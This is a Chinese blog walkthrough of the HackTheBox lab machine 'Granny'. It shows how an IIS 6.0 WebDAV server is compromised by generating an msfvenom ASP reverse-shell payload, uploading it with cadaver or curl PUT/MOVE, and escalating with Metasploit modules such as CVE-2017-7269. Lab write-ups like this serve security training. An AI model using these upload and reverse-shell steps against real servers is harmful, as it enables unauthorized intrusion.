No.55-HackTheBox-windows-Granny-Walkthrough渗透学习

最新推荐文章于 2022-11-17 02:52:47 发布

大余xiyou

最新推荐文章于 2022-11-17 02:52:47 发布

阅读量1k

点赞数

分类专栏： Hack The box 文章标签： linux python java 安全运维

本文链接：https://blog.csdn.net/qq_34801745/article/details/104335868

版权

Hack The box 专栏收录该内容

136 篇文章 47 订阅

订阅专栏

HackTheBox-windows-Granny-Walkthrough

靶机地址：https://www.hackthebox.eu/home/machines/profile/14
靶机难度：容易（3.0/10）
靶机发布日期：2017年10月12日
靶机描述：
Granny, while similar to Grandpa, can be exploited using several different methods. The intended method of solving this machine is the widely-known Webdav upload vulnerability.
作者：大余
时间：2020-02-15
请注意：对于所有这些计算机，我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.15，windows系统的靶机…

1.nmap扫描发现只开了80端口，版本是：Microsoft IIS version 6.0…
2.还启用了http-webdav…
3.还是Windows Server 2003系统…但是不清楚是32还是64位的…
由于我在准备oscp考试，尽量少用MSF内核提权…
访问80web页面：
在这里插入图片描述
可以看到该页面站点还在建设中，还在开发中…

二、提权

方法1：

通过前面获取的信息，这里可以利用Webdav信息进行提权… webdav学习
在这里插入图片描述
命令：curl -I 10.10.10.15
可以看到标头正在使用ASP.NET…
基本的Web开发网站的堆栈结构如下：
LAMP = Linux + Apache + MySQL + PHP
WISA = Windows + IIS + SQL Server + ASP.NET
我进行的靶机是woindows环境，所以可以利用ASP.NET来替代PHP，这里只需要找到一种方法来将文件以asp/aspx扩展名传递到服务器提权即可…（就是将合法文件上传到Web服务器，然后将其重命名为可执行文件，将扩展名更改为asp或aspx）
我来验证下我的思路是不是对的…
在这里插入图片描述
命令：davtest --url http://10.10.10.15
Davtest解释：WebDAV是基于Web服务的扩展服务。它允许用户像操作本地文件一样，操作服务器上的文件。借助该功能，用户很方便的在网络上存储自己的文件。为了方便用户使用，通常会提供给用户较大的文件权限，如上传、修改甚至是执行权限。Kali Linux提供了一款WebDAV服务漏洞利用工具DAVTest。该工具会自动检测权限，寻找可执行文件的权限。一旦发现，用户就可以上传内置的后门工具，对服务器进行控制。同时，该工具可以上传用户指定的文件，便于后期利用。（理解即可）
可以看到文本文件是成功上传加载的…OK，开始利用！！！
在这里插入图片描述
命令：msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.16 LPORT=4443 -f asp > dayu1.asp
利用msfvenom生成asp shell，然后上传到Web服务器即可…

将asp内容复制到txt文本中…

命令：cadaver http://10.10.10.15
cadaver描述：WEBDAV是基于HTTP 1.1的扩展协议，其支持使用PUT方法上传和锁定文件，基于这个特性可以实现功能强大的内容或配置管理系统。但丰富的功能特性总是会带来安全方面的更多隐患，尤其是在配置不当的情况下，可能直接给攻击者留下一个文件上传的入口。davtest是一个文件上传漏洞的检测和验证工具，而cadaver作为一个命令行形式的WEBDAV客户端程序，可以对相应服务器进行任何操作。
可以看到通过put上传文件，然后move重名了文件…即可…
在这里插入图片描述
直接访问即可获得反向外壳…

方法2：

利用curl上传…
在这里插入图片描述
命令：msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.16 LPORT=4444 -f asp > dayu.asp
已经生成dayu.asp…

命令：

touch dayu.txt    --创建本地txt文件，用于替换asp创建的
cp dayu.asp dayu.txt   --将msfvenom生成的asp内容复制到txt文件中
curl -T 'dayu.txt' http://10.10.10.15/dayu.txt   --上传txt文件到granny服务上
curl -X MOVE --header 'Destination:http://10.10.10.15/dayu.asp' 'http://10.10.10.15/dayu.txt'   --txt改名asp
curl 'http://10.10.10.15/dayu.asp'   ---访问asp文件

可以看到成功获得反向外壳… 参考链接

方法3：

通过前面nmap获得的信息，系统版本是：Microsoft IIS version 6.0，并且启用了webdav…
这里利用MSF查看下可以利用哪些漏洞…
在这里插入图片描述
可以看到这里存在20多个漏洞可利用，不是每个漏洞可以利用的…
1.通过版本6.0，可以知道exploit/windows/iis/iis_webdav_scstoragepathfromurl可以利用…这是CVE-2017-7269…
2.通过版本还可以知道IIS的应该都可以利用：exploit/windows/iis/iis_webdav_upload_asp
在这里插入图片描述
这里我就不展示很多个漏洞利用了，方法都一样…

获得root.txt

在这里插入图片描述
这里可以看到准确的版本…

我这里利用use post/multi/recon/local_exploit_suggester，这个是Metasploit中使用本地漏洞利用检查来检查系统是否存在本地漏洞…
就和漏扫脚本差不多…很好的一个脚本…
这里发现了7个成功率高的漏洞，都是可以成功的…利用就行…

在这里插入图片描述
可以看到直接利用不成功，需要注入一个进程进行提权…
这里利用post/windows/manage/migrate将meterpreter进程rundll32.exe中…
或者：

或者PS查看当前的进程…然后migrate利用PID即可…

在这里插入图片描述
成功获得user.txt和root.txt…

这里我后面提权用了MSF进行的，很便捷，在oscp考试中虽然不能用，但是我可以通过脚本去识别对方存在哪些漏洞可执行…
还有不适用MSF的方法，直接通过脚本上传到靶机，然后通过脚本进行提权…可以利用smbserver.py开启共享进行上传，然后通过漏洞，这里自己搜索github，方法也有很多…我就不写出来了，加油！！！

由于我们已经成功得到root权限查看user.txt和root.txt，因此完成了简单靶机，希望你们喜欢这台机器，请继续关注大余后期会有更多具有挑战性的机器，一起练习学习。

如果你有其他的方法，欢迎留言。要是有写错了的地方，请你一定要告诉我。要是你觉得这篇博客写的还不错，欢迎分享给身边的人。

在这里插入图片描述